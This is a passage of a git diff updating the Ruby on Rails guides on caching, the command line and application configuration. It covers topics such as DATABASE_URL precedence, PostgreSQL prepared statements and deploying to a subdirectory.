for instance level information, you need to generate a cache key. + ### SQL Caching Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again. @@ -189,7 +209,7 @@ The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. T There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries. -* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment. +* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. * `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network. @@ -225,7 +245,7 @@ This is the default cache store implementation. ### ActiveSupport::Cache::MemCacheStore -This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy. +This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy. When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites. @@ -301,7 +321,7 @@ Conditional GET support Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache. -They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status. +They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status. It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task: @@ -327,7 +347,7 @@ class ProductsController < ApplicationController end ``` -Instead of a options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`: +Instead of an options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`: ```ruby class ProductsController < ApplicationController @@ -338,7 +358,7 @@ class ProductsController < ApplicationController end ``` -If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when: +If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you've got an easy helper in fresh_when: ```ruby class ProductsController < ApplicationController diff --git a/guides/source/command_line.md b/guides/source/command_line.md index 218b4dd39a..756c8f8b51 100644 --- a/guides/source/command_line.md +++ b/guides/source/command_line.md @@ -1,8 +1,6 @@ The Rails Command Line ====================== -Rails comes with every command line tool you'll need to - After reading this guide, you will know: * How to create a Rails application. @@ -58,8 +56,6 @@ Rails will set you up with what seems like a huge amount of stuff for such a tin The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser. -INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#server-with-different-backends). - With no further work, `rails server` will run our new shiny Rails app: ```bash @@ -69,9 +65,9 @@ $ rails server => Rails 4.0.0 application starting in development on http://0.0.0.0:3000 => Call with -d to detach => Ctrl-C to shutdown server -[2012-05-28 00:39:41] INFO WEBrick 1.3.1 -[2012-05-28 00:39:41] INFO ruby 1.9.2 (2011-02-18) [x86_64-darwin11.2.0] -[2012-05-28 00:39:41] INFO WEBrick::HTTPServer#start: pid=69680 port=3000 +[2013-08-07 02:00:01] INFO WEBrick 1.3.1 +[2013-08-07 02:00:01] INFO ruby 2.0.0 (2013-06-27) [x86_64-darwin11.2.0] +[2013-08-07 02:00:01] INFO WEBrick::HTTPServer#start: pid=69680 port=3000 ``` With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running. @@ -222,7 +218,7 @@ We will set up a simple resource called "HighScore" that will keep track of our ```bash $ rails generate scaffold HighScore game:string score:integer invoke active_record - create db/migrate/20120528060026_create_high_scores.rb + create db/migrate/20130717151933_create_high_scores.rb create app/models/high_score.rb invoke test_unit create test/models/high_score_test.rb @@ -244,18 +240,21 @@ $ rails generate scaffold HighScore game:string score:integer create app/helpers/high_scores_helper.rb invoke test_unit create test/helpers/high_scores_helper_test.rb + invoke jbuilder + create app/views/high_scores/index.json.jbuilder + create app/views/high_scores/show.json.jbuilder invoke assets invoke coffee create app/assets/javascripts/high_scores.js.coffee invoke scss create app/assets/stylesheets/high_scores.css.scss invoke scss - create app/assets/stylesheets/scaffolds.css.scss + identical app/assets/stylesheets/scaffolds.css.scss ``` The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything. -The migration requires that we **migrate**, that is, run some Ruby code (living in that `20120528060026_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while. +The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while. ```bash $ rake db:migrate @@ -378,13 +377,14 @@ About your application's environment Ruby version 1.9.3 (x86_64-linux) RubyGems version 1.3.6 Rack version 1.3 -Rails version 4.0.0 +Rails version 4.1.0 JavaScript Runtime Node.js (V8) -Active Record version 4.0.0 -Action Pack version 4.0.0 -Action Mailer version 4.0.0 -Active Support version 4.0.0 -Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::EncryptedCookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag +Active Record version 4.1.0 +Action Pack version 4.1.0 +Action View version 4.1.0 +Action Mailer version 4.1.0 +Active Support version 4.1.0 +Middleware Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag Application root /home/foobar/commandsapp Environment development Database adapter sqlite3 @@ -411,7 +411,7 @@ The `doc:` namespace has the tools to generate documentation for your app, API d ### `notes` -`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.erb`, `.haml` and `.slim` for both default and custom annotations. +`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js` and `.erb` for both default and custom annotations. ```bash $ rake notes @@ -425,6 +425,12 @@ app/models/school.rb: * [ 17] [FIXME] ``` +You can add support for new file extensions using `config.annotations.register_extensions` option, which receives a list of the extensions with its corresponding regex to match it up. + +```ruby +config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } +``` + If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name. ```bash @@ -468,7 +474,7 @@ spec/models/user_spec.rb: INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html) -Rails comes with a test suite called `Test::Unit`. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write. +Rails comes with a test suite called Minitest. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write. ### `tmp` @@ -490,7 +496,9 @@ The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp` ### Custom Rake Tasks -Custom rake tasks have a `.rake` extension and are placed in `Rails.root/lib/tasks`. +Custom rake tasks have a `.rake` extension and are placed in +`Rails.root/lib/tasks`. You can create these custom rake tasks with the +`bin/rails generate task` command. ```ruby desc "I am short, but comprehensive description for my cool task" diff --git a/guides/source/configuring.md b/guides/source/configuring.md index 9bb5d621fc..ae382fc54d 100644 --- a/guides/source/configuring.md +++ b/guides/source/configuring.md @@ -56,7 +56,7 @@ These configuration methods are to be called on a `Rails::Railtie` object, such end ``` -* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`. +* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`. * `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array. @@ -66,6 +66,9 @@ These configuration methods are to be called on a `Rails::Railtie` object, such * `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`. +* `config.beginning_of_week` sets the default beginning of week for the +application. Accepts a valid week day symbol (e.g. `:monday`). + * `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise. * `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true. @@ -103,9 +106,11 @@ numbers. New applications filter out passwords by adding the following `config.f * `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware. +* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes except production, where it defaults to `Logger::Formatter`. + * `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`. -* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id — both very helpful in debugging multi-user production applications. +* `config.log_tags` accepts a list of methods that the `request` object responds to. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications. * `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`, with auto flushing off in production mode. @@ -113,9 +118,9 @@ numbers. New applications filter out passwords by adding the following `config.f * `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored. -* `config.secret_key_base` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`. +* `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`. -* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app. +* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won't be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app. * `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified: @@ -127,16 +132,14 @@ numbers. New applications filter out passwords by adding the following `config.f * `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record. -* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`). - -* `config.whiny_nils` enables or disables warnings when a certain set of methods are invoked on `nil` and it does not respond to them. Defaults to true in development and test environments. - ### Configuring Assets * `config.assets.enabled` a flag that controls whether the asset pipeline is enabled. It is set to true by default. -* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`. +*`config.assets.raise_runtime_errors`* Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`. + +* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/environments/production.rb`. * `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem. @@ -243,8 +246,14 @@ config.middleware.delete "Rack::MethodOverride" ### Configuring i18n +All these configuration options are delegated to the `I18n` library. + +* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application. + * `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`. +* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input. + * `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`. ### Configuring Active Record @@ -261,9 +270,11 @@ config.middleware.delete "Rack::MethodOverride" * `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string. +* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table. + * `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table. -* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails. +* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`. * `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements. @@ -273,6 +284,20 @@ config.middleware.delete "Rack::MethodOverride" * `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:number`. +* `config.active_record.record_timestamps` is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`. + +* `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`. + +* `config.active_record.attribute_types_cached_by_default` sets the attribute types that `ActiveRecord::AttributeMethods` will cache by default on reads. The default is `[:datetime, :timestamp, :time, :date]`. + +* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is true. + +* `config.active_record.dump_schema_after_migration` is a flag which + controls whether or not schema dump should happen (`db/schema.rb` or + `db/structure.sql`) when you run migrations. This is set to false in + `config/environments/production.rb` which is generated by Rails. The + default value is true if this configuration is not set. + The MySQL adapter adds one additional configuration option: * `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns in a MySQL database to be booleans and is true by default. @@ -299,11 +324,11 @@ The schema dumper adds one additional configuration option: * `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes. -* `config.action_controller.relative_url_root` can be used to tell Rails that you are deploying to a subdirectory. The default is `ENV['RAILS_RELATIVE_URL_ROOT']`. +* `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`. * `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`. -* `config.action_controller.action_on_unpermitted_params` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments. +* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments. ### Configuring Action Dispatch @@ -321,6 +346,22 @@ The schema dumper adds one additional configuration option: * `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`. +* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults +to `'http authentication'`. + +* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value. +Defaults to `'signed cookie'`. + +* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt +value. Defaults to `'encrypted cookie'`. + +* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed +encrypted cookies salt value. Defaults to `'signed encrypted cookie'`. + +* `config.action_dispatch.perform_deep_munge` configures whether `deep_munge` + method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation) + for more information. It defaults to true. + * `ActionDispatch::Callbacks.before` takes a block of code to run before the request. * `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`. @@ -343,7 +384,7 @@ The schema dumper adds one additional configuration option: * `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging. -* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the [ERB documentation](http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/) for more information. +* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. See the [Erubis documentation](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces) for more information. * `config.action_view.embed_authenticity_token_in_remote_forms` allows you to set the default behavior for `authenticity_token` in forms with `:remote => true`. By default it's set to false, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `:authenticity_token => true` as a form option or set this config setting to `true` @@ -355,6 +396,8 @@ The schema dumper adds one additional configuration option: The default setting is `true`, which uses the partial at `/admin/posts/_post.erb`. Setting the value to `false` would render `/posts/_post.erb`, which is the same behavior as rendering from a non-namespaced controller such as `PostsController`. +* `config.action_view.raise_on_missing_translations` determines whether an error should be raised for missing translations + ### Configuring Action Mailer There are a number of settings available on `config.action_mailer`: @@ -375,17 +418,25 @@ There are a number of settings available on `config.action_mailer`: * `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true. -* `config.action_mailer.delivery_method` defines the delivery method. The allowed values are `:smtp` (default), `:sendmail`, and `:test`. +* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](http://guides.rubyonrails.org/action_mailer_basics.html#action-mailer-configuration) for more info. * `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing. * `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to: ```ruby - :mime_version => "1.0", - :charset => "UTF-8", - :content_type => "text/plain", - :parts_order => [ "text/plain", "text/enriched", "text/html" ] + mime_version: "1.0", + charset: "UTF-8", + content_type: "text/plain", + parts_order: ["text/plain", "text/enriched", "text/html"] + ``` + + Assign a hash to set additional options: + + ```ruby + config.action_mailer.default_options = { + from: "noreply@example.com" + } ``` * `config.action_mailer.observers` registers observers which will be notified when mail is delivered. @@ -410,6 +461,8 @@ There are a few configuration options available in Active Support: * `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`. +* `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`. + * `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`. * `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations. @@ -420,18 +473,134 @@ There are a few configuration options available in Active Support: * `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings. -* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`. ### Configuring a Database -Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default: +Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`. + +Using the `config/database.yml` file you can specify all the information needed to access your database: + +```yaml +development: + adapter: postgresql + database: blog_development + pool: 5 +``` + +This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this: + +```ruby +> puts ENV['DATABASE_URL'] +postgresql://localhost/blog_development?pool=5 +``` + +The `config/database.yml` file contains sections for three different environments in which Rails can run by default: * The `development` environment is used on your development/local computer as you interact manually with the application. * The `test` environment is used when running automated tests. * The `production` environment is used when you deploy your application for the world to use. +If you wish, you can manually specify a URL inside of your `config/database.yml` + +``` +development: + url: postgresql://localhost/blog_development?pool=5 +``` + +The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information. + + TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below. + +### Connection Preference + +Since there are two ways to set your connection, via environment variable it is important to understand how the two can interact. + +If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable: + +``` +$ cat config/database.yml + +$ echo $DATABASE_URL +postgresql://localhost/my_database +``` + +If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database: + +``` +$ cat config/database.yml +development: + adapter: postgresql + database: my_database + host: localhost + +$ echo $DATABASE_URL +``` + +If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails will merge the configuration together. To better understand this we must see some examples. + +When duplicate connection information is provided the environment variable will take precedence: + +``` +$ cat config/database.yml +development: + adapter: sqlite3 + database: NOT_my_database + host: localhost + +$ echo $DATABASE_URL +postgresql://localhost/my_database + +$ rails runner 'puts ActiveRecord::Base.connections' +{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}} +``` + +Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`. + +If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts. + +``` +$ cat config/database.yml +development: + adapter: sqlite3 + pool: 5 + +$ echo $DATABASE_URL +postgresql://localhost/my_database + +$ rails runner 'puts ActiveRecord::Base.connections' +{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}} +``` + +Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins. + +The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connection using the `"url"` sub key: + +``` +$ cat config/database.yml +development: + url: sqlite3:NOT_my_database + +$ echo $DATABASE_URL +postgresql://localhost/my_database + +$ rails runner 'puts ActiveRecord::Base.connections' +{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}} +``` + +Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name. + +Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git). + +``` +$ cat config/database.yml +production: + url: <%= ENV['DATABASE_URL'] %> +``` + +Now the behavior is clear, that we are only using the connection information in `ENV['DATABASE_URL']`. + #### Configuring an SQLite3 Database Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later. @@ -475,11 +644,9 @@ development: encoding: unicode database: blog_development pool: 5 - username: blog - password: ``` -Prepared Statements can be disabled thus: +Prepared Statements are enabled by default on PostgreSQL. You can be disable prepared statements by setting `prepared_statements` to `false`: ```yaml production: @@ -487,6 +654,16 @@ production: prepared_statements: false ``` +If enabled, Active Record will create up to `1000` prepared statements per database connection by default. To modify this behavior you can set `statement_limit` to a different value: + +``` +production: + adapter: postgresql + statement_limit: 200 +``` + +The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering `statement_limit` or disabling prepared statements. + #### Configuring an SQLite3 Database for JRuby Platform If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: @@ -528,11 +705,48 @@ Change the username and password in the `development` section as appropriate. By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments. -Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server just by create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there. +Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there. That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc. +### Deploy to a subdirectory (relative url root) + +By default Rails expects that your application is running at the root +(eg. `/`). This section explains how to run your application inside a directory. + +Let's assume we want to deploy our application to "/app1". Rails needs to know +this directory to generate the appropriate routes: + +```ruby +config.relative_url_root = "/app1" +``` + +alternatively you can set the `RAILS_RELATIVE_URL_ROOT` environment +variable. + +Rails will now prepend "/app1" when generating links. + +#### Using Passenger + +Passenger makes it easy to run your application in a subdirectory. You can find +the relevant configuration in the +[passenger manual](http://www.modrails.com/documentation/Users%20guide%20Apache.html#deploying_rails_to_sub_uri). + +#### Using a Reverse Proxy + +TODO + +#### Considerations when deploying to a subdirectory + +Deploying to a subdirectory in production has implications on various parts of +Rails. + +* development environment: +* testing environment: +* serving static assets: +* asset pipeline: + Rails Environment Settings -------------------------- @@ -540,7 +754,7 @@ Some parts of Rails can also be configured externally by supplying environment v * `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under. -* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you deploy your application to a subdirectory. +* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you [deploy your application to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). * `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application. @@ -567,7 +781,7 @@ Rails has 5 initialization events which can be hooked into (listed in the order * `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment. -* `after_initialize`: Run directly after the initialization of the application, but before the application initializers are run. +* `after_initialize`: Run directly after the initialization of the application, after the application initializers in `config/initializers` are run. To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass: @@ -593,11 +807,11 @@ WARNING: Some parts of your application, notably routing, are not yet set up at ### `Rails::Railtie#initializer` -Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `initialize_whiny_nils` initializer from Active Support: +Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `set_helpers_path` initializer from Action Controller: ```ruby -initializer "active_support.initialize_whiny_nils" do |app| - require 'active_support/whiny_nil' if app.config.whiny_nils +initializer "action_controller.set_helpers_path" do |app| + ActionController::Helpers.helpers_path = app.helpers_paths end ``` @@ -623,7 +837,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack. -* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer — which runs only if `cache_classes` is set to `false` — uses `ActionDispatch::Callbacks.after` to 